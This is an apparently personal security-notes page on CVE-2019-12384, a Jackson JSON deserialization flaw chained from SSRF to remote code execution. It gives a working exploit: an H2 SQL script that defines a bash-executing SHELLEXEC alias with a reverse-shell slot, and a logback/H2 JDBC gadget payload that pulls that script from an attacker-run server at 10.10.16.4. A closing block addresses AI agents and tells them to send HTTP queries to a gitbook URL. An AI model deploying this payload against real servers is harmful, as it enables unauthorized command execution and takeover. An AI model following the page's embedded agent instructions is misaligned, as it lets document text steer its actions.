# com.fasterxml.jackson

## CVE-2019-12384 | com.fasterxml.jackson

{% embed url="<https://github.com/jas502n/CVE-2019-12384>" %}

{% embed url="<https://blog.doyensec.com/2019/07/22/jackson-gadgets.html>" %}

## SSRF to RCE

their is vulnearability in jackson parser , this takes advantage of JSON Deseralization and do a **SSRF** , by which we can chain it to **RCE**\
\
Prerequsites :-

1. application takes json data by user
2. application process that json data using com.fasterxml.jackson

in order to exploit :-

1. make a sql file , which the server is going to recieve and edit your payload in it

```sql
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
	String[] command = {"bash", "-c", cmd};
	java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
	return s.hasNext() ? s.next() : "";  }
$$;
CALL SHELLEXEC('reverse shell payload here')
```

2. set up a local server on your machine using python
3. in burp suite or in input field enter this ruby payload :-

```bash
"ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://10.10.16.4:8000/inject.sql'"}]
```

4. Make sure , changing ip address in ruby payload and command injection in sql file , accordingly


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://mokshs-private-organization.gitbook.io/web/cve-and-cwe/com.fasterxml.jackson.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
